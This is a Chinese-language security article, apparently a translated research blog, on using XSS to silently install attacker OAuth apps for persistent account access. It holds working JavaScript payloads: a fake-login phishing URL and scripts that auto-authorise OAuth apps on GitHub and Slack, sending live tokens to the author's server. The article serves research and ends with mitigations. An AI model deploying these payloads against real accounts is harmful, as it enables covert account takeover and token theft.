结合Oauth的XSS利用技术

一、前言

当面试时被问到“XSS（Cross Site Scripting，跨站脚本攻击）最大的危害是什么？”，通常大家的回答是：“攻击者可以使用 document.cookie窃取会话令牌”。

从技术层面来讲，虽然这一点适用于某些应用程序，但在现代浏览器中，通过设置httponly标志已经能够避免JavaScript读取会话令牌信息。

XSS可能还有其他危害，比如能够完全控制用户账户或者网站，因为这种攻击能够以用户的身份执行各种操作、窃取数据。虽然从一般意义上来讲，攻击者的确可以利用XSS以用户身份执行各种操作、读取各种数据，但主要的限制因素在于操作执行时间，攻击过程受用户在页面上的停留时间所影响。

在受害者关闭页面后，攻击者希望能够长期有效、不受限制、隐蔽地访问受害者的账户，这是真实存在的一种持久化需求。

为了解决这个问题，攻击者可以考虑推荐安装Oauth应用，配合XSS窃取Oauth凭据，攻击过程无需用户交互，我也会通过实际网站演示几个攻击样例。

二、其他XSS持久化技术

在深入研究Oauth之前，我们首先来看一下其他一些持久化方案。

前面提到过，httponly标志是窃取会话令牌的一个主要限制因素，但实际上还有其他一些限制因素，其中包括：

• 生命周期较短的会话
• 应用可能使用的设备指纹识别技术
• 用户注销行为

Service Workers

网上已经有一些有趣的技巧能够实现持久化目标，比如滥用XSS以及JSONP来安装Service Workers。

这种技巧并不局限于JSONP。一般而言，如果存在任意文件上传点，或者可以通过其他方法搞定与XSS入口点同源的一个JavaScript文件，那么我们就可以安装service worker。

这种方法存在一些缺点，比如：

• 攻击复杂度较高（需要满足较为精确的条件）
• 必须依赖受害者长时间访问
• 网站只需删除service worker入口点就能解除持久化后门，包括：
  • 删除JSONP入口点
  • 清除文件上传点
  • 端点改动
  • 其他操作

UI Redressing

另一种技巧就是利用UI Redressing来诱骗用户输入凭据。攻击者可以使用XSS，在受害者原始页面上构造一个伪造的登录界面，然后攻击者可以借助现代浏览器的API，修改URL地址栏，使其看起来像是登录页面。

我们可以使用history API完成该任务：

history.replaceState(null, null, '../../../../../login');

然后看一下攻击效果：

首先找到存在XSS漏洞的一个站点：

https://xss-game.appspot.com/level1/frame?query=undefinedundefinedundefined// )

然后修改URL，使其看起来像已经重定向到登录页面：

https://xss-game.appspot.com/level1/frame?query=%3Cscript%3Ehistory.replaceState%28null%2C%20null%2C%20%27..%2F..%2F..%2Flogin%27%29%3Bdocument.body.innerHTML%20%3D%20%22%3C%2Fbr%3E%3C%2Fbr%3E%3C%2Fbr%3E%3C%2Fbr%3E%3C%2Fbr%3E%3Ch1%3EPlease%20login%20to%20continue%3C%2Fh1%3E%3Cform%3EUsername%3A%20%3Cinput%20type%3D%27text%27%3EPassword%3A%20%3Cinput%20type%3D%27password%27%3E%3C%2Fform%3E%3Cinput%20value%3D%27submit%27%20type%3D%27submit%27%3E%22%3C%2Fscript%3E

点击该链接后，用户会看到自己处于/login地址，然而服务端并不存在该地址（如果我们直接访问该地址，服务端会抛出500错误代码）。

这种技巧也能掩盖页面的源代码。如果我们点击“查看源代码”，看到的是/login的源代码，而不是恶意页面的源代码。

攻击者可以使用这种技巧窃取用户凭据，但这种方法最明显的缺点在于攻击过程需要与用户交互。

三、Oauth持久化方法

Oauth简介

Oauth这种机制允许第三方获取用户账户的长期访问权限，之前已经有攻击者滥用过该机制，诱骗用户点击授权按钮。

授权第三方应用后，用户可以为第三方应用提供一个长期可用的令牌，第三方应用可以通过不同方式，利用该令牌访问用户账户。

与XSS结合使用

这里我想探索的是如何使用XSS，在无需用户交互的情况下授权由攻击者生成的恶意app，我们唯一目的是获取用户账户的长期访问权限。

由于我们能以用户的身份执行一些操作，那么只要Oauth的授权页面与XSS点同源，那么就能以用户的身份安装Oauth应用。下面我们来看一下具体例子。

Github案例

首先我们在Github中构建一个Oauth应用：

熟悉Oauth的人都知道，一旦用户点击授权按钮，我们的服务器就可以获取一个长期可用的令牌，能够访问我们请求的所有scope（权限范围）。

Github已经采取一些防护措施，用来保护某些oauth scope。如果用户最近在这些scope上没有输入凭据，那么就需要重新输入凭据。基于这一点，我们的app只请求不需要凭据的scope。这些scope包括email、Webhooks读取及写入，这样我们就能以用户的身份在repos（仓库）上安装Webhooks。

由于Github将Oauth授权页面托管在主域名上，因此github.com上任意位置只要存在XSS漏洞，我们就能以用户的身份来授权应用。为了模拟XSS攻击，大家可以在JavaScript终端中粘贴如下代码。

警告：如下代码会向我的服务器发送一个实时Oauth凭据。

fetch("https://github.com/login/oauth/authorize?client_id=3b46677ca554abcd215a&scope=email,write:repo_hook").then(function(response) {
    response.text().then(function (text) {
        var oauthForm = '<form id="potato" action="/login/oauth/authorize"' + text.split('<form action="/login/oauth/authorize"')[1].split("<button")[0] + '<input name="authorize" value="1"><input type="submit" id="potato"></form>';
        document.write(oauthForm);
        document.getElementById("potato").submit();
    });
  })

浏览器控制台：

就这么简单，以上代码可以安装Oauth应用，将令牌发送给我的服务器。现在攻击者已经可以长期访问受害者账户，也能以目标用户的身份安装webhooks。

Slack案例

我们还可以使用这种技术攻击slack。如果用户具备相应权限，则如下JavaScript代码可以强迫用户在自己的workspace（工作区）中安装一个Oauth应用：

为了模拟XSS攻击，此时我们还是可以将如下JavaScript代码粘贴到自己的workspace域中。

警告：如下代码会向我的服务器发送一个实时Oauth凭据。

fetch(location.origin + "/oauth/authorize?scope=channels:history+users.profile:read&client_id=496141141553.514835337734").then(function(response) {
    response.text().then(function (text) {
                var oauthPath = text.split('<noscript><meta http-equiv="refresh" content="0; URL=')[1].split('?')[0];
        fetch(location.origin + oauthPath).then(function(response){
                        response.text().then(function (text) {
                                var crumb = text.split('type="hidden" name="crumb" value="')[1].split('"')[0];
                                var evilForm = `<form id="potatoCarrots" action="${oauthPath}" method="post" accept-encoding="UTF-8"><input type="hidden" name="create_authorization" value="1" /><input type="hidden" name="crumb" value="${crumb}" /></form><script>document.getElementById('potatoCarrots').submit()</script>`

                                document.write(evilForm)
            })
        })
    });
  })

如上代码运行在用户workspace的XSS上下文中，会安装一个Oauth应用，其scope为channel:history。攻击者可以获取用户workspace中公开channel的长期读取权限。

四、总结

对于攻击者而言，安装Oauth应用是获取受害者账户访问权限的一种可靠方式。XSS可以用来安装应用，并且受害者无法察觉。

本文讨论的这种方法可以替代传统的 document.cookie XSS攻击方法，获取目标账户的长期访问权限。

大家可以访问此处获取支持Oauth的部分网站列表。

五、建议

Slack以及Github会在安装应用时向用户发送通知邮件，这种方法非常好，可以通知用户可能存在问题的操作。

Github还设置了一些额外安全策略，使敏感的oauth授权操作需要重新输入密码，这可能是一把双刃剑，因为此时用户需要定期向应用输入敏感凭据。前文提到的密码窃取技术可能对用户群体来说更加有效，因此需要阻止这种自动化Oauth令牌窃取技术影响这些scope。

还有另一种防护方法，可以考虑将Oauth应用授权地址迁移到独立的子域名上。这样就能限制XSS攻击面，攻击者需要找到同源上的注入点，如果范围过小，这个任务可能很难完成。

某些厂商（如Google）已经为Oauth授权页面分配单独的子域名，也就是说，我之前分析的许多厂商并没有为Oauth授权页面分配单独的子域名。

基于这个原因，我认为与Oauth授权页面同源的XSS漏洞（不管是反射型、存储型或者DOM型）都应该比与Oauth授权页面不同源的XSS漏洞危害程度要高。